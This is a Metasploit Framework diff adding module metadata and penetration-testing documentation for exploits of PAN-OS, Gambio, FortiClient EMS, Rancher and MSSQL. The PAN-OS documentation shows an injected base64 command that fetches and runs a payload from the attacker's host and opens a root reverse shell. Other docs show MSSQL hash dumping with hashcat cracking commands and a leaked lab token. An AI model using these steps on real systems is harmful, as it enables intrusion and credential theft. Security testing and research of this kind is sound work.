diff --git a/Gemfile.lock b/Gemfile.lock index b8ede1ddce72..64955c0f51a7 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.4.5) + metasploit-framework (6.4.6) actionpack (~> 7.0.0) activerecord (~> 7.0.0) activesupport (~> 7.0.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 8fe16bd8e390..e744941d09ff 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -80,7 +80,7 @@ memory_profiler, 1.0.1, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.2, "New BSD" metasploit-credential, 6.0.7, "New BSD" -metasploit-framework, 6.4.5, "New BSD" +metasploit-framework, 6.4.6, "New BSD" metasploit-model, 5.0.2, "New BSD" metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.3, "New BSD" diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 326c3ed1351f..f7bdcd1d7215 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -25139,6 +25139,70 @@ ] }, + "auxiliary_gather/rancher_authenticated_api_cred_exposure": { + "name": "Rancher Authenticated API Credential Exposure", + "fullname": "auxiliary/gather/rancher_authenticated_api_cred_exposure", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2022-08-18", + "type": "auxiliary", + "author": [ + "h00die", + "Florian Struck", + "Marco Stuurman" + ], + "description": "An issue was discovered in Rancher versions up to and including\n 2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys\n and Ranchers service account token (used to provision clusters),\n were stored in plaintext directly on Kubernetes objects like Clusters,\n for example cluster.management.cattle.io. Anyone with read access to\n those objects in the Kubernetes API could retrieve the plaintext\n version of those sensitive data.", + "references": [ + "URL-https://github.com/advisories/GHSA-g7j7-h4q8-8w2f", + "URL-https://github.com/fe-ax/tf-cve-2021-36782", + "URL-https://fe.ax/cve-2021-36782/", + "CVE-2021-36782" + ], + "platform": "", + "arch": "", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2024-04-19 12:55:46 +0000", + "path": "/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb", + "is_install_path": true, + "ref_name": "gather/rancher_authenticated_api_cred_exposure", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + + ], + "Reliability": [ + + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_gather/redis_extractor": { "name": "Redis Extractor", "fullname": "auxiliary/gather/redis_extractor", @@ -47044,7 +47108,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-02-19 10:57:53 +0000", + "mod_time": "2024-04-04 08:34:51 +0000", "path": "/modules/auxiliary/scanner/mssql/mssql_hashdump.rb", "is_install_path": true, "ref_name": "scanner/mssql/mssql_hashdump", @@ -47095,7 +47159,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-04-09 15:24:02 +0000", + "mod_time": "2024-04-18 15:15:36 +0000", "path": "/modules/auxiliary/scanner/mssql/mssql_login.rb", "is_install_path": true, "ref_name": "scanner/mssql/mssql_login", @@ -47193,7 +47257,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-02-19 10:57:53 +0000", + "mod_time": "2024-04-04 08:34:51 +0000", "path": "/modules/auxiliary/scanner/mssql/mssql_schemadump.rb", "is_install_path": true, "ref_name": "scanner/mssql/mssql_schemadump", @@ -49523,7 +49587,7 @@ "postgres" ], "targets": null, - "mod_time": "2024-04-09 15:24:02 +0000", + "mod_time": "2024-04-12 11:43:30 +0000", "path": "/modules/auxiliary/scanner/postgres/postgres_login.rb", "is_install_path": true, "ref_name": "scanner/postgres/postgres_login", @@ -77677,6 +77741,69 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/panos_telemetry_cmd_exec": { + "name": "Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/http/panos_telemetry_cmd_exec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-04-12", + "type": "exploit", + "author": [ + "remmons-r7", + "sfewer-r7" + ], + "description": "This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that\n allow an unauthenticated attacker to create arbitrarily named files and execute\n shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or\n GlobalProtect Portal enabled and telemetry collection on (default). Affected versions\n include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,\n < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to\n one hour to execute, depending on how often the telemetry service is set to run.", + "references": [ + "CVE-2024-3400", + "URL-https://security.paloaltonetworks.com/CVE-2024-3400", + "URL-https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/", + "URL-https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Default" + ], + "mod_time": "2024-04-18 18:34:18 +0000", + "path": "/modules/exploits/linux/http/panos_telemetry_cmd_exec.rb", + "is_install_path": true, + "ref_name": "linux/http/panos_telemetry_cmd_exec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/peercast_url": { "name": "PeerCast URL Handling Buffer Overflow", "fullname": "exploit/linux/http/peercast_url", @@ -99634,6 +99761,70 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/http/gambio_unauth_rce_cve_2024_23759": { + "name": "Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability", + "fullname": "exploit/multi/http/gambio_unauth_rce_cve_2024_23759", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-01-19", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "usd Herolab" + ], + "description": "A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower\n allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request.\n The identified vulnerability within Gambio pertains to an insecure deserialization flaw,\n which ultimately allows an attacker to execute remote code on affected systems.\n The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems.\n As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,\n potentially resulting in complete system compromise, data exfiltration, or unauthorized access\n to sensitive information.", + "references": [ + "CVE-2024-23759", + "URL-https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759", + "URL-https://herolab.usd.de/en/security-advisories/usd-2023-0046/" + ], + "platform": "Linux,PHP,Unix", + "arch": "php, cmd, x64, x86", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP", + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2024-04-19 13:44:18 +0000", + "path": "/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb", + "is_install_path": true, + "ref_name": "multi/http/gambio_unauth_rce_cve_2024_23759", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_multi/http/gestioip_exec": { "name": "GestioIP Remote Command Execution", "fullname": "exploit/multi/http/gestioip_exec", @@ -160073,6 +160264,69 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/http/forticlient_ems_fctid_sqli": { + "name": "FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE", + "fullname": "exploit/windows/http/forticlient_ems_fctid_sqli", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-04-21", + "type": "exploit", + "author": [ + "Zach Hanley", + "James Horseman", + "jheysel-r7", + "Spencer McIntyre" + ], + "description": "An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).\n FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized\n platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which\n can be sent directly into database queries.\n\n FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013\n and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.\n In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable\n SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code\n execution in the context of NT AUTHORITY\\SYSTEM\n\n Affected versions of FortiClient EMS include:\n 7.2.0 through 7.2.2\n 7.0.1 through 7.0.10\n\n Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.\n\n It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient\n EMS for the necessary vulnerable services to be available.", + "references": [ + "URL-https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/", + "URL-https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py", + "CVE-2023-48788" + ], + "platform": "Windows", + "arch": "cmd", + "rport": 8013, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic Target" + ], + "mod_time": "2024-04-12 10:00:07 +0000", + "path": "/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb", + "is_install_path": true, + "ref_name": "windows/http/forticlient_ems_fctid_sqli", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/http/fortilogger_arbitrary_fileupload": { "name": "FortiLogger Arbitrary File Upload Exploit", "fullname": "exploit/windows/http/fortilogger_arbitrary_fileupload", diff --git a/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md b/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md new file mode 100644 index 000000000000..680e97cb1e58 --- /dev/null +++ b/documentation/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.md @@ -0,0 +1,118 @@ +## Vulnerable Application + +An issue was discovered in Rancher versions up to and including +2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys +and Ranchers service account token (used to provision clusters), +were stored in plaintext directly on Kubernetes objects like Clusters, +for example cluster.management.cattle.io. Anyone with read access to +those objects in the Kubernetes API could retrieve the plaintext +version of those sensitive data. + +### Install + +* Clone the repository from: https://github.com/fe-ax/tf-cve-2021-36782 +* Create a Digital Ocean API Token + * Log into Digital Ocean and navigate to: API > Tokens + * Select "Generate New Token" + * Enter a token name and then select either Full Access or Custom Scopes + * If selecting Custom Scopes, use the values provided below +* Back in the `tf-cve-2021-36782`, copy the `example.tfvars` file to `yourown.tfvars` +* Edit `yourown.tfvars` and add the newly generated DO API token as `do_token` + * Optionally set the region for the clusters to one closer to you (e.g. `nyc3`) +* Run `terraform init` +* Run `terraform apply -var-file yourown.tfvars`, this can take about 20 minutes to run +* Take the hostname from the `rancher_admin_url` output from terraform and use that as the `RHOST` value for the module +* Take the password from the `rancher_password` file and use that with the username "admin" for the module + +#### Digital Ocean API Token Custom Scopes +It's possible that there are unnecessary privileges contained within the following settings, however it does permit the +test environment to start without a full access token. + +* Fully Scoped Access: + * 1click (2): create, read + * account (1): read + * actions (1): read + * billing (1): read + * kubernetes (5): create, read, update, delete, access_cluster + * load_balancer (4): create, read, update, delete + * monitoring (4): create, read, update, delete + * project (4): create, read, update, delete + * regions (1): read + * registry (4): create, read, update, delete + * sizes (1): read +* Create Access: + * app / droplet / firewall / ssh_key +* Read Access: + * app / block_storage / block_storage_action / block_storage_snapshot / cdn / certificate / database / domain / droplet / firewall / function / image / reserved_ip / snapshot / ssh_key / tag / uptime / vpc +* Update Access: + * ssh_key + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/gather/rancher_authenticated_api_cred_exposure` +1. Do: `set rhosts [ip]` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. If any API items of value are found, they will be printed + +## Options + +### Username + +Username for Rancher. user must be in one or more of the following groups: + +* `Cluster Owners` +* `Cluster Members` +* `Project Owners` +* `Project Members` +* `User Base` + +### Password + +Password for Rancher. + +## Scenarios + +### Docker Image + +``` +msf6 > use auxiliary/gather/rancher_authenticated_api_cred_exposure +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.178.62.209.204.sslip.io +rhosts => rancher.178.62.209.204.sslip.io +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser +username => readonlyuser +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser +password => readonlyuserreadonlyuser +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set verbose true +verbose => true +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run +[*] Running module against 178.62.209.204 + +[*] Attempting login +[-] Auxiliary aborted due to failure: unreachable: 178.62.209.204:443 - Could not connect to web service - no response +[*] Auxiliary module execution completed +msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run +[*] Running module against 178.62.209.204 + +[*] Attempting login +[+] login successful, querying APIs +[*] Querying /v1/management.cattle.io.catalogs +[*] Querying /v1/management.cattle.io.clusters +[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng +[*] Querying /v1/management.cattle.io.clustertemplates +[*] Querying /v1/management.cattle.io.notifiers +[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig +[-] No response received from /v1/project.cattle.io.sourcecodeproviderconfig +[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs +[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters +[-] No response received from /k8s/clusters/local/apis/management.cattle.io/v3/clusters +[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates +[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers +[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs +[*] Auxiliary module execution completed +``` + +The [Cluster.Status.ServiceAccountToken](https://jwt.io/#debugger-io?token=eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng) is actually a JWT token as seen in the link. diff --git a/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md b/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md new file mode 100644 index 000000000000..ea10b5f4cdcc --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md @@ -0,0 +1,91 @@ +## Description + +The `mssql_hashdump` module queries an MSSQL instance or session and returns hashed user:pass pairs. These pairs can be decripted via or `hashcat`. + +## Available Options + +``` +msf6 auxiliary(scanner/mssql/mssql_hashdump) > options + +Module options (auxiliary/scanner/mssql/mssql_hashdump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set) + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DATABASE MSSQL no The database to authenticate against + PASSWORD no The password for the specified username + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 1433 no The target port (TCP) + THREADS 1 yes The number of concurrent threads (max one per host) + USERNAME MSSQL no The username to authenticate as + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on +``` + +## Scenarios + +With a session: +``` +msf6 auxiliary(scanner/mssql/mssql_hashdump) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 mssql MSSQL sa @ 127.0.0.1:1433 127.0.0.1:52307 -> 127.0.0.1:1433 (127.0.0.1) + +msf6 auxiliary(scanner/mssql/mssql_hashdump) > run session=-1 + +[*] Using existing session 1 +[*] Instance Name: "758549b9f69e" +[+] Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E +[+] Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2 +[+] Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password + +[*] 127.0.0.1:1433 - Instance Name: "758549b9f69e" +[+] 127.0.0.1:1433 - Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E +[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2 +[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96 +[*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +Directly querying a machine: +``` +msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password + +[*] 127.0.0.1:1433 - Instance Name: "758549b9f69e" +[+] 127.0.0.1:1433 - Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E +[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2 +[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96 +[*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +Different MSSQL Versions have different hash formats. For example: + +MSSQL (2000): 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 +MSSQL (2005): 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe +MSSQL (2012 and later): 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375 + +To decrypt: +Save into a `passwords.txt` file +Run with hashcat, based on the MSSQL Version: +`hashcat --force -m 131 ./hashes.txt ./passwords.txt` (MSSQL 2000) +`hashcat --force -m 132 ./hashes.txt ./passwords.txt` (MSSQL 2005) +`hashcat --force -m 1731 ./hashes.txt ./passwords.txt` (MSSQL 2012 and later) diff --git a/documentation/modules/exploit/linux/http/panos_telemetry_cmd_exec.md b/documentation/modules/exploit/linux/http/panos_telemetry_cmd_exec.md new file mode 100644 index 000000000000..3262cf3499e2 --- /dev/null +++ b/documentation/modules/exploit/linux/http/panos_telemetry_cmd_exec.md @@ -0,0 +1,112 @@ +## Vulnerable Application +This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that +allow an unauthenticated attacker to create arbitrarily named files and execute +shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or +GlobalProtect Portal enabled and telemetry collection on (default). Affected versions +include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1, +< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to +one hour to execute, depending on how often the telemetry service is set to run. + +For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis). + +## Testing +Boot a vulnerable PAN-OS VM or device, then authenticate to the management web service with default credentials. From the +web dashboard, configure a GlobalProtect [Portal](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-portals/set-up-access-to-the-globalprotect-portal) +and/or [Gateway](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-gateways/configure-a-globalprotect-gateway). +With either or both started, the `gpsvc` service will begin serving an HTTPS service on port 443 for the second +network interface. Confirm that the web service presents a Palo Alto Networks login page when viewed. This web application +is the target of the exploit, and the '/global-protect/login.esp' page should be accessible. + +The exploit has been tested against PAN-OS 10.2.9, and it should also be effective against other similarly-configured 10.2, 11.0, +and 11.1 versions. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/http/panos_telemetry_cmd_exec` +3. `set RHOST ` +4. `set payload cmd/linux/http/x64/meterpreter_reverse_tcp` +5. `set LHOST eth0` +6. `check` +7. `exploit` + +## Scenarios + +### Linux Command + +Note: Ensure the target is vulnerable to unauthenticated file creation with the `check` command. + +Note: Since it can take up to one hour to establish code execution, the listener should be left running for that period. + +Note: In the standard PAN-OS configuration, the payload is delivered to the GlobalProtect interface IP, but the shell will return via a different PAN-OS management interface IP. + +``` +msf6 > use exploit/linux/http/panos_telemetry_cmd_exec +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/panos_telemetry_cmd_exec) > show options + +Module options (exploit/linux/http/panos_telemetry_cmd_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI /global-protect/login.esp yes An existing web application endpoint + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME EkcxbboZMyD no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set RHOSTS 192.168.50.226 +RHOSTS => 192.168.50.226 +msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LHOST 192.168.50.25 +LHOST => 192.168.50.25 +msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LPORT 8585 +LPORT => 8585 +msf6 exploit(linux/http/panos_telemetry_cmd_exec) > check +[+] 192.168.50.226:443 - The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ipteqmbl-regular.woff2 NOTE: This file will not be deleted +msf6 exploit(linux/http/panos_telemetry_cmd_exec) > exploit + +[*] Started reverse TCP handler on 192.168.50.25:8585 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ikxrpbmq-regular.woff2 NOTE: This file will not be deleted +[*] Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload +[*] Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled +[*] Meterpreter session 1 opened (192.168.50.25:8585 -> 192.168.50.216:48310) at 2024-04-18 14:53:09 -0500 +[!] This exploit may require manual cleanup of '/opt/panlogs/tmp/device_telemetry/minute/lyne`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvdWdWZlhXUnhWIGh0dHA6Ly8xOTIuMTY4LjUwLjI1OjgwODAvcUpPXzJ2MUFPVkRIc2hsVVIyRHVzQTsgY2htb2QgK3ggL3Zhci90bXAvdWdWZlhXUnhWOyAvdmFyL3RtcC91Z1ZmWFdSeFYgJg==|base64${IFS}-d|bash${IFS}-`' on the target + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.50.216 +OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20.pan.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl 